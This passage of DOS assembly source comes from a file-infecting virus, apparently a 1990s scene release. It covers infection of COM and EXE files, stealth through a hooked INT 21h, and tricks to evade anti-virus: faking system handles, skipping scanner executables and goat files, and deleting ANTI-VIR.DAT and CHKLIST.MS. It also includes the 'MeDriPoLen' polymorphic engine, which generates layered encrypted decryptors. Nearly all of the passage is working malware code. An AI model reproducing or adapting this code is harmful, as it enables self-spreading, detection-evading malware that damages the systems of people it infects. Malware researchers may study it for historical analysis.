MOV CX, 9
MOV DI, Offset FuncionesIOCTL - 200h
PUSH CS
POP ES
CLD
REPNZ SCASB
POP ES
POPA
JNZ @@AcabaIOCTL
@@Funcion: PUSH BX
PUSH BP
MOVZX BP, AL
MOV BX, CS:[AntHandle-200h]
SUB AH, 10h
CALL Int21h
JC @@FuncionX
OR BP, BP
JNZ @@FuncionX
AND DX, 1111111110111111b
OR DX, 0000100000000000b
@@FuncionX: POP BP
POP BX
RETF 0002
@@AcabaIOCTL: JMP @@FinInt21h
FuncionesIOCTL DB 0,1,2,3,6,7,0Ah,0Ch,10h
NewInt21h ENDP ;; END OF NEW INTERRUPT 21h
;; Memory write zone
Basura14 dw 0
;; Procedure to get a file name from a FCB
ObtenNombreFCB PROC
MOV BX, DX
CMP BYTE PTR [BX], 0FFh ; Add 7 if extended FCB
JNZ @@SaltoFCB_001
ADD BX, 0007
@@SaltoFCB_001: INC BX ; File name in BX
MOV SI, BX
PUSH CS
POP ES
MOV DI, Offset NombreFCB - 200h ;Place where the name will
MOV DX, DI ; be stored
CLD
MOV CX, 0008 ; Max length of name on a FCB
@@LoopFCB_01: LODSB ; Check if space
CMP AL, 20h
JZ @@FinLoopFCB ; If space, end loop
STOSB ; Store character
LOOP @@LoopFCB_01
@@FinLoopFCB: MOV AL, '.' ; Extension
STOSB
LEA SI, [BX+08] ; SI=address of file extension on FCB
MOV CL, 03
@@LoopFCB_02: LODSB ; Check if space
CMP AL, 20h
JZ @@FinLoopFCB_2 ; If space, end loop
STOSB
LOOP @@LoopFCB_02
@@FinLoopFCB_2: XOR AL, AL ; Store a NUL character
STOSB
PUSH CS ; Return name in DS:DX
POP DS
RET
ObtenNombreFCB ENDP ; End of procedure
;; Procedure to get the virus size in the file of the SFT in ES:DI
TamanyoReal PROC
MOV AX, ES:[DI+0Dh] ; Get time
AND AX, 1FE0h ; Get hour and minutes in AX
ROR AX, 5
ADD AX, LongVirus2 ; Add static size
RET ; return
TamanyoReal ENDP
;; FAKEHANDLE! It selects randomly a handle between 0000 and 0003 and substi-
;; tutes the handle in BX with the random handle. Handles from 0 to 4 are sys-
;; tem handles, and most resident anti-virus ignore operations on this han-
;; dles, so the virus can read/write appearing to be system operations. This
;; can be detected by IOCTL functions, but I stealth them! :)
;; VLAD: Thanks for this idea ;)
FakeHandle PROC
INC BYTE PTR CS:[ControlFunc44h-200h]
MOV CS:[AntHandle-200h], BX ; Save original handle
IN AL, 40h ; Get a random handle in BX
AND AL, 03h ; between 0 and 3
XOR BH, BH
MOV BL, AL
MOV AH, 35h ; Duplicate system handle
CALL Int21h
MOV CS:[FakedHandle-200h], AX ; Save duplicated handle
MOV AH, 2Eh ; Close system handle
CALL Int21h
MOV BX, CS:[AntHandle-200h] ; Duplicate file handle. Now
MOV AH, 35h ; the function returns the
CALL Int21h ; closed system handle
PUSH AX ; Save handle
MOV BX, CS:[AntHandle-200h] ; Close file handle
MOV AH, 2Eh
CALL Int21h
POP BX ; Put in BX the new file handle
RET
FakeHandle ENDP
ControlFunc44h DB 0
;; UNFAKEHANDLE! It restores all bad made with FAKEHANDLE :)
UnfakeHandle PROC
MOV AH, 2Eh ; Close actual handle on BX
CALL Int21h
MOV AH, 35h ;Duplicate the duplicated system handle. The
MOV BX, CS:[FakedHandle-200h] ; function will return the
CALL Int21h ; faked system handle. We leave it opened.
MOV AH, 2Eh ;Close the duplicated file handle. Now every
CALL Int21h ; handle is like before
DEC BYTE PTR CS:[ControlFunc44h-200h]
RET ; Return
UnfakeHandle ENDP
;; Executable type (0=COM, 1=EXE)
TipoEjec DB 0
;; Memory write zone
Basura15 dw 0
;; Routine to read the file header
LeeCabecera PROC
CALL PtrInicio ; Put pointer to the beginning
MOV AH, 2Fh ; Read 24 bytes of header
MOV CX, 0018h
MOV DX, Offset Cabecera-200h
MOV SI, DX
CALL Int21h
RET ; Return
LeeCabecera ENDP
;; Routine to put handle pointer in the beginning of the file
PtrInicio PROC
XOR AX, AX ; AX=DX=0
XOR DX, DX
MOV ES:[DI+15h], AX ; Put new pointer
MOV ES:[DI+17h], AX
RET ; Return
PtrInicio ENDP
;; Procedure to put handle pointer in the end of the file
PtrFinal PROC
MOV AX, ES:[DI+11h] ; Get file size in DX-AX
MOV ES:[DI+15h], AX
MOV DX, ES:[DI+13h] ; Put this value like
file pointer
MOV ES:[DI+17h], DX
RET
PtrFinal ENDP
;; Procedure to put handle pointer in the end minus 1A bytes
PtrCasiFinal PROC
MOV AX, ES:[DI+11h] ; Get file size
MOV DX, ES:[DI+13h]
SUB AX, +1Ah ; Subtract 1A bytes from file size
SBB DX, +00h
MOV ES:[DI+15h], AX ; Put this value like pointer
MOV ES:[DI+17h], DX
RET ; Return
PtrCasiFinal ENDP
;; Routine to get information about the name of the file from its SFT. The
;; routine will return Carry Flag if it hasn't a convenient name.
OperaHandle PROC
PUSH BX ; Get in DS:DI the System File Table
MOV AX, 1220h
INT 2Fh
JC @@Retorna
MOV BL, ES:[DI]
CMP BL, 0FFh
JZ @@Retorna
MOV AX, 1216h
INT 2Fh
JC @@Retorna
PUSH ES
POP DS
MOV AX, [DI+28h] ; Get extension on AL-AH-CL
MOV CL, [DI+2Ah]
ADD CL, 0B3h ; If CL was "M", now CL=0
ADD AX, 0B0BDh ; If AX was "CO", now AX=0
JZ @@COMdeMomento ; If 0, jump
CMP AX, 0902h ; Was it "EX"?
JNZ @@Retorna ; If it isn't, return with Carry Flag
@@EXEdeMomento: CMP CL, 0F8h ; Was the third letter an "E"?
JZ @@Sigue001 ; If it was, jump and continue
JMP @@Retorna ; Return (error)
@@COMdeMomento: OR CL, CL ; Was the third letteer an "M"? (when the
; first two bytes where a "CO")
JNZ @@Retorna ; If not, exit with Carry Flag
@@Sigue001: MOV AX, [DI+20h] ;Get two first letters of file name in AX
CMP AX, 'CS' ; AX="SC"? (SCAN)
JZ @@Retorna ; If it is, return
CMP AX, 'BT' ; AX="TB"? (ThunderByte)
JZ @@Retorna ; If it is, return
CMP AX, '-F' ; AX="F-"? (F-Prot)
JZ @@Retorna ; If it is, return
MOV CX, 0008 ; Search a digit or a "V" in the name. If
ADD DI, 0020h ; it exists, return with Carry Flag
MOV AL, 'V'
@@LLCD: CMP BYTE PTR ES:[DI], '0'
JB @@LLCD2
CMP BYTE PTR ES:[DI], '9'
JBE @@Retorna
@@LLCD2: SCASB
JZ @@Retorna
LOOP @@LLCD
SUB DI, 0008h ; Is it the "COMMAND.COM"?
CMP WORD PTR [DI], 'OC'
JNZ @@Retorna2
CMP WORD PTR [DI+2], 'MM'
JZ @@Retorna ; If it is, return with Carry Flag
@@Retorna2: SUB DI, 0020h
CLC
JMP @@Salto00 ; End.
@@Retorna: STC
@@Salto00: POP BX
RET
OperaHandle ENDP
;; Procedure to change attributes and access mode on handle
CambiaAtributos PROC
MOV AX, ES:[DI] ; Get first word on SFT
MOV [Anterior_Count-200h], AX ; Save it
MOV WORD PTR ES:[DI], 0FFFFh ; SFT is now busy
MOV AL, ES:[DI+04] ;Get file attributes and sa-
MOV [Atributos-200h], AL ; ve them
MOV BYTE PTR ES:[DI+04], 0 ; Clear attributes
MOV AX, ES:[DI+02] ; Change access mode to
MOV WORD PTR [ModoAcceso-200h], AX ; read/write
MOV WORD PTR ES:[DI+02], 0002h
RET ; End.
CambiaAtributos ENDP
;; Procedure to check if the file size is multiple of 512 or 500
MiraSiRoundedSize PROC
PUSH AX
PUSH DX
MOV CX, 200h ; 512
DIV CX
OR DX, DX ; If remainder=0, bad thing (it could be
POP DX ; a goat file)
POP AX
JZ @@Retorna
PUSH AX
PUSH DX
MOV CX, 1F4h ; 500
DIV CX
OR DX, DX ; If remainder=0, bad thing (it could be
POP DX ; a goat file).
POP AX
@@Retorna: RET
MiraSiRoundedSize ENDP
;; Little DATA section for the "CambiaAtributos" and "RestauraAtributos"
;; routine
Atributos DB 0
Anterior_Count DW 0
ModoAcceso DW 0
;; This part is very used in the virus (place where the time/date fields are
;; saved during dis/infection)
Hora DW 0
Fecha DW 0
;; Procedure to restore file attributes
RestauraAtributos PROC
MOV AX, [Anterior_Count-200h] ; Restore all
MOV ES:[DI], AX
MOV AL, [Atributos-200h]
MOV ES:[DI+04], AL
MOV AX, [ModoAcceso-200h]
MOV ES:[DI+02], AX
RET ; End
RestauraAtributos ENDP
;; Routine to patch int 24h, 1Bh and 23h
ParcheaInt24h PROC
PUSH EAX ; Save registers
PUSH BX
PUSH DS
PUSH ES
XOR AX, AX ; Get int 24h vector on ES:BX
MOV DS, AX
LES BX, DWORD PTR DS:[24h*4]
MOV EAX, DWORD PTR CS:[BytesInt24h-200h] ; Exchange first
XCHG EAX, ES:[BX] ;five bytes with the construc-
MOV DWORD PTR CS:[BytesInt24h-200h], EAX ; ted jump to our
MOV AL, BYTE PTR CS:[BytesInt24h-200h+4] ; int 24h
XCHG AL, ES:[BX+4]
MOV BYTE PTR CS:[BytesInt24h-200h+4], AL
LES BX, DWORD PTR DS:[1Bh*4] ; Get vector to int 1Bh and
MOV AL, CS:[ByteInt1Bh-200h] ; patch it with an IRET
XCHG AL, ES:[BX]
MOV CS:[ByteInt1Bh-200h], AL
LES BX, DWORD PTR DS:[23h*4] ; The same for int 23h
MOV AL, CS:[ByteInt23h-200h]
XCHG AL, ES:[BX]
MOV CS:[ByteInt23h-200h], AL
LES BX, DWORD PTR DS:[2Ah*4]
MOV AL, CS:[ByteInt2Ah-200h]
XCHG AL, ES:[BX]
MOV CS:[ByteInt2Ah-200h], AL
POP ES ; Recover registers
POP DS
POP BX
POP EAX
RET ; Return
ParcheaInt24h ENDP
;; Zone where the 32 bit jump is constructed
BytesInt24h DB 5 DUP (0)
;; Program of int 24h
ProgramaInt24h: MOV AL, 03 ; Ignore error
MOV BYTE PTR CS:[EstadoInt24h-200h], AL ; An error has
IRET ; happened! and
; return
ByteInt1Bh DB 0CFh ; Iret
ByteInt23h DB 0CFh ; Iret
ByteInt2Ah DB 0CFh ; Iret
;; Procedure to get the name of the file that will be terminated with a "ter-
;; minate execution" function
ObtenNombre PROC
MOV AH, 52h ; Get PSP
CALL Int21h
MOV ES, BX
MOV ES, WORD PTR ES:[002Ch] ; Get Environment-Block seg-
; ment in ES
XOR DI, DI
XOR AL, AL
CLD
@@Loop01: SCASB ; Search for a double 0
JNZ @@Loop01
SCASB
JNZ @@Loop01
INC DI ; Increase DI to get on ES:DI the name of the
INC DI ; file currently in execution
MOV DX, DI
PUSH ES ; Return the name in DS:DX
POP DS
RET ; Return
ObtenNombre ENDP
;;;; EMULATION OF "INT 21h". It has an error handler, so, if int 24h is ca-
;;;; lled, int 21h will return Carry Flag
Int21h PROC ; Put 0 on the error variable. Int
MOV BYTE PTR CS:[EstadoInt24h-200h], 0 ; 24h set this to 3
ADD AH, 10h ; Call traced int 21h
PUSHF
CALL DWORD PTR CS:[AntInt21h-200h]
PUSHF ; Save flags
CMP BYTE PTR CS:[EstadoInt24h-200h], 3 ; Int 24h error?
JZ @@Error ; Then, jump
POPF ; Restore flags and exit
RET
@@Error: POPF ; Nivelate stack
STC ; Set Carry Flag
RET ; Return
Int21h ENDP
;;; Procedure to check if stealth must be avoided or not
MirarsiStealth PROC
MOV AX, WORD PTR ES:[DI+20h] ; Get first two bytes of the
; file name in AX
CMP AX, 'HC' ; Check if file is CHKDSK
JNZ @@Salta1
CMP WORD PTR ES:[DI+22h], 'DK' ;
JNZ @@Salta1
CMP WORD PTR ES:[DI+24h], 'KS'
JZ @@ActivaStealth ; If it is, don't do stealth
@@Salta1: CMP AX, 'KP' ; heck if file is PK* (PKZIP,etc.)
JZ @@ActivaStealth ; If it is, don't do stealth
CMP AX, 'RA' ; "ARJ"?
JNZ @@Salta2
CMP BYTE PTR ES:[DI+22h], 'J'
JZ @@ActivaStealth ; Don't do stealth, then
@@Salta2: CMP AX, 'AR' ; "RAR"?
JNZ @@Salta3
CMP BYTE PTR ES:[DI+22h], 'R'
JZ @@ActivaStealth ; Don't do stealth, then
@@Salta3: CMP AX, 'HL' ; "LH*"? (LHARC, LHA, etc.)
JZ @@ActivaStealth ; Don't do stealth, then
MOV BYTE PTR CS:[NoStealth-200h], 0 ; DO stealth!
RET ; Return
@@ActivaStealth:
MOV BYTE PTR CS:[NoStealth-200h], 1 ; DON'T do stealth!
RET ; Return
MirarsiStealth ENDP
;; Memory write zone
Basura16 dw 0
;; Routine to get SFT from a handle. The SFT address is returned in ES:DI
GetSFT PROC
PUSH BX
MOV AX, 1220h ; Get Job File Table
INT 2Fh
JC @@KKVF
MOV BL, ES:[DI] ; Get in BL the number of SFT
CMP BL, 0FFh ; ¨Is the handle opened?
JZ @@KKVF ; If it isn't, return with Carry Flag
MOV AX, 1216h ; Get System File Table
INT 2Fh
JC @@KKVF ; If Carry, return with Carry :)
TEST BYTE PTR ES:[DI+05h], 80h
JNZ @@KKVF ; If remote file, error
POP BX
CLC ; Clear Carry Flag and exit
RET
@@KKVF: POP BX
STC ; Set Carry Flag and exit
RET
GetSFT ENDP
;; Procedure to do a checksum of the file name and compare it to the checksum
;; of the file infected before. If it differs by 1, returns with Carry Flag.
;; This is done to avoid goat files. With following names, only the first file
;; will be infected.
CompruebaNombre PROC
CMP BYTE PTR CS:[Desinfeccion-200h], 01 ; Infecting KEYB?
JNZ @@Sigue ; If not, continue
DEC BYTE PTR CS:[Desinfeccion-200h] ; Put 0 on this field
JMP @@Infectar ; and return without Carry Flag
@@Sigue: MOV BP, 0007
XOR AL, AL ; Add all letters from file name in
@@Loopeo: ADD AL, ES:[BP+DI+20h] ; AL
DEC BP
JNC @@Loopeo
MOV AH, BYTE PTR CS:[SumaNombre-200h] ; Exchange the new
MOV BYTE PTR CS:[SumaNombre-200h], AL ; value with old va-
SUB AL, AH ; lue and subtract old from new
CMP AL, 01 ; If result is 1 or -1, return with
JZ @@NoInfectar ; Carry Flag
CMP AL, 0FFh
JZ @@NoInfectar
@@Infectar: CLC
RET
@@NoInfectar: STC
RET
CompruebaNombre ENDP
;; Memory write zone
Basura17 dw 0
;; Procedure to delete ANTI-VIR.DAT and CHKLIST.MS
BorraDATs PROC
PUSHA ; Save registers
PUSH DS
PUSH ES
MOV SI, DX ; DS:SI=Filename address
PUSH CS
POP ES ; ES:DI=Buffer address
MOV DI, Offset NewVirus-200h
MOV BP, DI ; Save last segmentation on file name ("\" or
MOV CX, 0100h ; ":").
CLD
@@Loop1: LODSB ; Copy a character in both destination and AL
STOSB
CMP AL, ':' ; AL=":"?
JNZ @@Sigue001 ; If not, continue
@@Sigue002: MOV BP, DI ; Save position
JMP @@Loop1 ; Again
@@Sigue001: CMP AL, '\' ; AL="\"?
JZ @@Sigue002 ; If it is, save position and continue
OR AL, AL ; AL=0? (end of name)
JZ @@Sigue003 ; Jump and continue with the procedure
LOOP @@Loop1 ; Repeat comparisions with next character
@@Sigue003: JCXZ @@FinError ; If CX=0 (we've reached the limit), exit
MOV DI, BP ; Put in DI the last "\" or ":" reached
PUSH CS
POP DS
MOV SI, Offset ArchivoDAT1-200h ; Copy "ANTI-VIR.DAT" here
MOV CX, 000Dh
REP MOVSB
MOV DX, Offset NewVirus-200h ; Clear file attributes
MOV AX, 3301h
CALL Int21h
JC @@SigueconelOtro ; If error, do next
MOV AH, 31h ; Delete file
CALL Int21h
@@SigueconelOtro:
MOV SI, Offset ArchivoDAT2-200h ; Copy "CHKLIST.MS" to the
MOV DI, BP ;position where "ANTI-VIR.DAT"
MOV CX, 000Bh ; was copied
REP MOVSB
MOV AX, 3301h ; Clear its attributes
CALL Int21h
JC @@FinError ; If error, exit
MOV AH, 31h ; Delete file
CALL Int21h
@@FinError: POP ES ; Restore attributes
POP DS
POPA
RET ; Return
BorraDATs ENDP
ArchivoDAT1 DB 'ANTI-VIR.DAT',0
ArchivoDAT2 DB 'CHKLIST.MS',0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;-------------------------------------------------------------------------;;;
;;--------------P-O-L-Y-M-O-R-P-H-I-S-M-----E-N-G-I-N-E--------------------;;;
;;-------------------------------------------------------------------------;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Initially it hasn't no name, it just was "Squatter's poly engine". But I
;; know that it would sound silly in places like VDAT. Then, I searched for a
;; name, and I found one: "MeDriPoLen", Mental Driller's Polymorphism Engine.
;; I don't know how it sounds in english, but in spanish it is a kind of joke,
;; because it's very near to "Ciripolen", a spanish "moral-upper", a kind of
;; aphrodysiac :) . So, let's redefine the title...
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;-------------------------------------------------------------------------;;;
;;--------------------M-e-D-r-i-P-o-L-e-n-----v-0-.-1----------------------;;;
;;-M-e-n-t-a-l---D-r-i-l-l-e-r-'s---P-o-l-y-m-o-r-p-h-i-s-m---E-n-g-i-n-e--;;;
;;-------------------------------------------------------------------------;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; I hope it'll be one of the polymorphiest engines, because, if it isn't, I'll
; crap on anything :) (it was a hard work)
;;; Some little explanations:
;; The first decryptor that will be made is the second in order of execution.
;; More or less, the scheme of execution is:
;; $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&&&&&&&&&&&%%%%%%%%%%%%
;; VIRUS BODY (ENCRYPTED WITH 2 POLYMORPHIC DECRYPTOR FIRST DECRYPTOR
;; LAYERS, WITH THE FIRST AND THE SECOND (ENCRYPTED (NOT ENCRYPTED)
;; DECRYPTOR) WITH 1st DECRYPTOR)
;; --> --> --> --> --> --> --> --> --> --> --> --> --> -->
;;
;; The initial entrypoint is located on the first decryptor (but it's the se-
;; cond built by the engine).
;; The polymorphism will be always the same during 4 days and depending the
;; system (it initializes random seed using date and some values from the In-
;; terrupt Vector Table), so the virus can be qualificated like "slow polymor-
;; phic".
;;
;; Additionally, a third polymorphic decryptor has been added. It's little and
;; simple, and I catalogued it as "semi-polymorphic".
;;
;; The construction of a decryptor follows a Flag Register (BP), where a kind
;; of configuration bits are used to make the decryptor. This flags are like
;; it follows:
;; Bit 0: Count number of loops: 0:Decreasing counter, 1:Increasing it
;; Bit 1: Add a word value to the index register (for example, [BX+459D]):
;; 0: NO, 1: YES
;; Bit 2: Modify key of decryption every loop: 0:NO, 1:YES
;; Bits 3 and 4: Method of decryption:
;; 0 and 0:XOR; 0 and 1:ADD; 1 and 0:SUB; 1 and 1:XOR
;; Bits 5 and 6: If 4th bit is set, then modify key with a:
;; 0 and 0:XOR; 0 and 1:ADD; 1 and 0:SUB; 1 and 1:ROL,1
;; Bit 7: Encrypt by 0=word, 1=byte
;; Bit 8: 0: Don't use register to decrypt (direct value decrypting)
;; 1: Use register to decrypt (decrypt key in a register)
;; Bit 9: If it decrypts by register AND register is ?X AND it decrypts byte
;; to byte then:
;; 0: Use low byte of register (?L), 1:Use high byte of register (?H)
;; Bits 10 and 11: Use next method to jump to next decryptor or to virus
;; body:
;; 0 and 0: JMP
;; 0 and 1: RET
;; 1 and 0: REFT or RET 2
;; 1 and 1: IRET, RETF 2 or RET 4
;;
;; Bits 13 and 14: If the counter register is CX AND register is decreased in
;; every decryption loop, then:
;; 0 and 0: Don't use any LOOP instruction like below
;; 0 and 1: Use LOOPNZ to loop
;; 1 and 0: Use LOOPZ to loop
;; 1 and 1: Use LOOP to loop
;; Bit 15: Unused (maybe set in future versions)
;; Note that only the engine takes as size as a polymorphic multipartite
;; full-stealth virus :) .
HazVirus PROC
PUSH ES ; Save registers
PUSH BX
PUSH SI
PUSH DI
MOV BYTE PTR [AntiEmulacion-200h], 5 ; Set to non 0
CMP BYTE PTR [InstalacionPoli-200h], 0 ; Initialize ran-
; dom seed?
JNZ @@NoInicAleatorio ; If not 0, don't initialize
CALL InicAleatorio ; Initialize random seed
PUSH EAX ; Save EAX
MOV EAX, DWORD PTR [WordAleatorio1-200h] ;Save random seed
MOV DWORD PTR [AntAleatorio-200h], EAX ;to use it in ano-
MOV AX, WORD PTR [WordAleatorio3-200h] ; ther infection
MOV WORD PTR [AntAleatorio-200h+4], AX ; (slow poly.)
POP EAX
INC BYTE PTR [InstalacionPoli-200h] ; Set to non 0
JMP @@SiInicAleatorio
@@NoInicAleatorio:
PUSH EAX ; Recover last random seed. Every infec-
MOV EAX, DWORD PTR [AntAleatorio-200h] ; tion, until next
MOV DWORD PTR [WordAleatorio1-200h], EAX ; intallation of
MOV AX, WORD PTR [AntAleatorio-200h+4] ;the virus in memo-
MOV WORD PTR [WordAleatorio3-200h], AX ; ry, the polymor-
POP EAX ; phism doesn't change
@@SiInicAleatorio:
CLD
MOV AX, [InicioVirus-200h+1+16h] ;AX=Initial delta-offset
; Set counter size on second decryptor
MOV WORD PTR [TamanyoContador-200h], LongVirus
MOV BYTE PTR [NumeroCALLs-200h], 0 ;Initialize amount of
XOR SI, SI ; CALLs
PUSH CS ; Copy virus in memory to "NewVirus"
POP ES
MOV DI, Offset NewVirus-200h
MOV CX, LongVirus / 2
;;; New part (adds a semi-polymorphic decryptor in the beginning). Until
;; UPCASE again
call Aleatorio ; Get a random number in AX
mov [WordEncriptado-200h], ax ; Put it as decryption key
mov dx, ax ; Copy all the virus to ES:DI encryp-
@@Loop_0: lodsw ; ted with this word
xor ax, dx
stosw
loop @@Loop_0
push di ; Save DI
mov di, Offset NewVirus - 200h ; DI = address where the
; virus will be constructed
push di ; Save DI again
mov cx, 0016h ; Maximum size of this decryptor
mov al, 90h ; Store 22 NOPs
rep stosb
pop di ; Restore DI
@@Loop_1: call Aleatorio ; Get a random registre in AL
and al, 7
cmp al, 4 ; Check if AL = 4 (SP registre)
jz @@Loop_1 ; If it is, repeat
mov [RegistroEncriptado-200h], al ; Put as key registre
and ah, 3 ; Get an index registre
add ah, 3
cmp ah, 4 ; Check if AH=3
jb @@Salta001 ; If it is, jump
add ah, 1 ; Add 1 to AH
cmp ah, 5 ; Check if AH = registre BP
jz @@Loop_1 ; If it is, jump and repeat
@@Salta001: cmp ah, al ; Check if the two selected registres
; are equal
jz @@Loop_1 ; If they are, jump
mov [RegistroIndice-200h], ah ; Put AH as index registre
mov dx, ax ; Put both registres in DH and DL
@@Loop_2: call Aleatorio ; Get a random registre
and al, 7
cmp al, dh ; Check if it's the same as another
jz @@Loop_2 ; before. If it is, repeat
cmp al, dl
jz @@Loop_2
cmp al, 4 ; Is it SP?
jz @@Loop_2 ; If it is, repeat
mov [RegistroContador-200h], al ; Put it as counter reg.
mov bx, offset PonContador_X - 200h ;Call "PonContador_X",
mov cx, offset PonIndice_X - 200h ; "PonIndiceX" and
mov dx, offset PonEncriptador_X - 200h ;"PonEncriptador_X"
mov si, offset @@Retorno - 200h ; with a random order
call BarajaYLlama
mov [InicLoop-200h], di ; Put here the address of the
; begin of the loop
mov ax, 312eh ; XOR CS:[xxx] instruction
stosw ; Store it
mov al, [RegistroIndice-200h] ; Get index registre
sub al, 2 ; Subtract 2
cmp al, 1 ; Check if it is BX
ja @@KK0 ; If not, jump
mov al, 7 ; AL = 7
@@KK0: mov dl, [RegistroEncriptado-200h] ; Get key registre in DL
rol dl, 3 ; Multiply it by 8
add al, dl ; Construct opcode with memory index
; and key registre
stosb ; Complete the decryption instruction
mov dl, [RegistroIndice-200h] ; Get index registre in DL
mov ax, 0fffeh ; AX = -2
push ax ; Push it
call Aleatorio ; Get a random number between 0 and 3
and al, 3
jz @@PonINCINC ; If 0, put INC Reg/INC Reg
cmp al, 2
jb @@PonSUB ; If 1, put SUB Reg
jz @@PonADD ; If 2, put ADD Reg
; If 3, put another type of SUB
@@PonSUB2: mov ax, 0e883h ; SUBtract a signed word (but byte in
; the opcode)
add ah, dl ; Set registre to utilize
stosw ; Store instruction
pop ax ; Pop ax, which was -2
stosb ; Store -2 (but only a byte)
jmp @@Sigue2 ; Jump and continue
@@PonSUB: mov ax, 0e881h ; SUBtract a word
add ah, dl ; Set the registre to the instruction
stosw ; Store the instruction
pop ax ; Pop ax (AX=FFFEh)
jmp @@Sigue1 ; Jump to store it
@@PonADD: mov ax, 0c081h ; AX = opcode of ADD instruction
add ah, dl ; Set the registre
stosw ; Store it
pop ax ; Get AX from stack
neg ax ; Negate AX (AX=2)
jmp @@Sigue1 ; Jump to store it
@@PonINCINC: call SioNo ; Random Zero Flag
pop ax ; Restore AX (AX=-2)
xchg ah, al ; exchange AH and AL
jz @@PonINCINC2 ; If Zero Flag, jump
mov al, 40h ; AL = opcode of INC AX
add al, dl ; Add registre number to opcode to
; set the registre to utilize
stosb ; Store two INCs
stosb
jmp @@Sigue2 ; Jump and continue
@@PonINCINC2: mov ah, 0c0h ; AH = C0h, so opcode=FFC0h in AX
add ah, dl ; Set registre to instruction
stosw ; Store two INCs
@@Sigue1: stosw
@@Sigue2: mov dl, [RegistroContador-200h] ; Get counter in DL
cmp dl, 1 ; Test if counter is CX
jz @@CX ; If it is, jump
@@Todos: mov al, 48h ; AL = opcode of DEC
add al, dl ; Set registre to opcode
stosb ; Store it
call Aleatorio ; Get a random number between 0 and 3
and al, 3
mov bx, offset Saltos - 200h ; BX = address where there
; are some conditional jump
; opcodes, which are useful
; to this comparision
xlat ; Get a random cond. jump
@@Sigue: stosb ; Store it
mov ax, [InicLoop-200h] ; Get the initial address of the
; decryption loop
sub ax, di ; Calculate displacement
dec ax
stosb ; Complete jump instruction
jmp @@Sigue3 ; Jump and continue
@@CX: call SioNo ; Random Zero Flag
jz @@Todos ; If Zero Flag, do DEC CX/Jxx...
mov al, 0e2h ; AL = opcode of LOOP
jmp @@Sigue ; Jump to complete instruction
@@Sigue3: pop di ; Restore DI
MOV WORD PTR [LongDesencrip-200h], 0 ; Second decryptor
; (if it were the first, it won't
; be 0)
CALL HazVirus2 ; Generate decryptor in ES:DI
MOV CX, [LongDesencrip-200h] ; Encrypt the virus body
ADD CX, LongVirus ; using the random values ge-
MOV [TamanyoContador-200h], CX ; nerated while construc-
MOV CX, LongVirus ; ting the decryptor
CALL CriptaVirus
MOV DI, [LongDesencrip-200h] ;Get size of second decryptor
ADD DI, LongVirus ; Add size of clean virus
MOV CX, DI ; Put it on CX
ADD CX, [InicioVirus-200h+1+16h] ; Add Delta-offset to get
; initial entry-point on the
; infected file
PUSH DI ; Save DI
ADD DI, Offset NewVirus - 200h ; Put on DI the address
; where the first decryptor
; will be constructed
MOV WORD PTR [InicValoresEXE-200h+0Ch], CX ; IP on EXE
; initial register values
CALL HazVirus2 ; Construct first decryptor
POP CX ; Revalue CX with saved DI to
PUSH CX ;encrypt with the first layer
CALL CriptaVirus ; both virus (again) and se-
; cond decryptor
POP CX ; Restore CX
MOV DX, CX ;Add bytes to constructed vi-
ADD CX, [LongDesencrip-200h] ; rus until it reaches the
MOV DI, Offset NewVirus-200h ; static size of (LongVirus2-
ADD DI, CX ; -1Ah)
MOV BX, LongVirus2 - 001Ah
SUB BX, CX
JZ @@KKDCD
JB @@CCCDC ; If there is an error on size (too
; long), put 0 in CX and exit
@@LCLC: CALL Aleatorio
STOSB
DEC BX
JNZ @@LCLC
@@KKDCD: MOV BP, LongVirus2 ; Now add a pseudo-random amount of
MOV CX, [Hora-200h] ; bytes to achieve different virus
AND CX, 1FE0h ; sizes in every file, but the
ROR CX, 5 ; stealth has to continue working. I
JCXZ @@FinNN ; used a little trick to do this, and
PUSH CX ; it consisted on adding the result
@@JJJJJV: CALL Aleatorio ; of a little operation with the hour
STOSB ; and minutes of the file. Then, it's
LOOP @@JJJJJV ; very easy to subtract this size
; when DIR is made, for example
POP CX ; Restore CX
@@FinNN: ADD CX, BP ; Now encrypt the file header and add
PUSH CX ; it to the end of the file. Then add
MOV CX, 0018h ; the byte-key of encryption and the
CALL Aleatorio ; real seconds of the file
MOV SI, Offset Cabecera2-200h
PUSH CS
POP ES
@@Loopeo: LODSB
XOR AL, AH ; Here it crypts every byte of the
STOSB ; header
LOOP @@Loopeo
MOV AL, AH
STOSB
MOV AL, BYTE PTR [Hora-200h]
STOSB
POP CX ; Here, there is a constructed virus
@@KK34:
POP DI ; in "NewVirus", that only has to be
POP SI ; added to the file to go well.
POP BX
POP ES
@@Retorno: RET
@@CCCDC: XOR CX, CX ; 0 to CX (error)
JMP @@KK34 ; Jump and exit
HazVirus ENDP
;;; This routines are for the little decryptor in the beginning
PonContador_X proc
mov cx, LongVirus / 2 ; This puts a MOV with the value
mov dl, [RegistroContador-200h] ; of the counter to the
jmp PonMOV_X ; counter registre
PonContador_X endp
PonIndice_X proc
mov cx, [InicioVirus-200h+1+16h] ; This puts a MOV with
add cx, 0016h ; the initial value of the
mov dl, [RegistroIndice-200h] ; index registre to the in-
jmp PonMOV_X ; dex registre
PonIndice_X endp
PonEncriptador_X proc
mov cx, [WordEncriptado-200h] ; This puts the MOV to set
mov dl, [RegistroEncriptado-200h] ; value to the key re-
PonEncriptador_X endp ; gistre
;; This routine constructs a direct MOV
PonMOV_X proc
call Aleatorio ; Get a random number between 1 and 3
and al, 3
jz PonMOV_X
cmp al, 2 ; Check what MOV we are going to put
jb @@PonMOV1
jz @@PonMOV2
@@PonMOV3: mov ax, 068dh ; Put LEA Reg,[Value]
rol dl, 3
@@Fin2: or ah, dl
stosw
@@Fin: mov ax, cx
stosw
ret
@@PonMOV1: mov al, 0b8h ; Put MOV Reg,Value (1 byte + value)
add al, dl
stosb
jmp @@Fin
@@PonMOV2: mov ax, 0c0c7h ; Put MOV Reg,Value (2 bytes + value)
jmp @@Fin2
